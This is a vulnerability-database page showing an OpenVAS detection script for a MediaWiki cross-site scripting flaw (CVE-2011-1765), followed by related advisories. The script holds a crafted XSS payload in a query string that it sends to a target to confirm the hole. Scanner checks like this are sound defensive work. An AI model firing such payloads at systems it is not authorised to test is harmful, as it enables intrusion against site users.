Lucene search
+L

MediaWiki < 1.16.5 XSS Vulnerability - Active Check

🗓️ 02 Jun 2011 00:00:00Reported by Copyright (C) 2011 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 21 Views

MediaWiki < 1.16.5 XSS Vulnerability - Active Check. Cross-site scripting vulnerability allows execution of arbitrary HTML and script code in user's browser session. Affects MediaWiki versions prior to 1.16.5. Solution: Update to 1.16.5 or later

Related
Refs
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2011-1765
23 May 201122:00
cve
cvelist
Cvelist
CVE-2011-1765
23 May 201122:00
cvelist
debiancve
Debian CVE
CVE-2011-1765
23 May 201122:00
debiancve
euvd
EUVD
EUVD-2011-1764
7 Oct 202500:30
euvd
fedora
Fedora
[SECURITY] Fedora 13 Update: mediawiki-1.16.5-59.fc13
20 May 201120:58
fedora
fedora
Fedora
[SECURITY] Fedora 14 Update: mediawiki-1.16.5-59.fc14
20 May 201120:55
fedora
fedora
Fedora
[SECURITY] Fedora 15 Update: mediawiki-1.16.5-59.fc15
19 May 201105:09
fedora
nessus
Tenable Nessus
Fedora 14 : mediawiki-1.16.5-59.fc14 (2011-6774)
23 May 201100:00
nessus
nessus
Tenable Nessus
Fedora 13 : mediawiki-1.16.5-59.fc13 (2011-6775)
23 May 201100:00
nessus
nessus
Tenable Nessus
Fedora 15 : mediawiki-1.16.5-59.fc15 (2011-6781)
19 May 201100:00
nessus
Rows per page
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:mediawiki:mediawiki";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902380");
  script_version("2024-07-16T05:05:43+0000");
  script_cve_id("CVE-2011-1765");
  script_tag(name:"last_modification", value:"2024-07-16 05:05:43 +0000 (Tue, 16 Jul 2024)");
  script_tag(name:"creation_date", value:"2011-06-02 11:54:09 +0200 (Thu, 02 Jun 2011)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_name("MediaWiki < 1.16.5 XSS Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_mediawiki_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("mediawiki/http/detected");

  script_xref(name:"URL", value:"https://bugzilla.redhat.com/show_bug.cgi?id=702512");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/47722");
  script_xref(name:"URL", value:"https://bugzilla.wikimedia.org/show_bug.cgi?id=28534");
  script_xref(name:"URL", value:"http://lists.wikimedia.org/pipermail/mediawiki-announce/2011-May/000098.html");

  script_tag(name:"summary", value:"MediaWiki is prone to a cross-site scripting (XSS)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The flaw is due to an error when handling the file extension
  such as '.shtml' at the end of the query string, along with URI containing a '%2E' sequence in
  place of the .(dot) character.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
  HTML and script code in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"MediaWiki version prior to 1.16.5.");

  script_tag(name:"solution", value:"Update to version 1.16.5 or later.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

url = dir + "/api%2Ephp?action=query&meta=siteinfo&format=json&siprop=%3Cbody%20onload=alert('document.cookie')%3E.shtml";

req = http_get( item:url, port:port );
res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
if( ! res || res !~ "^HTTP/1\.[01] 200" )
  exit( 0 );

if( "Invalid file extension found in PATH_INFO or QUERY_STRING." >!< res &&
    "<body onload=alert('document.cookie')>.shtml" >< res &&
    "Status: 403 Forbidden" >!< res ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jul 2024 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 24.3
EPSS0.02098
21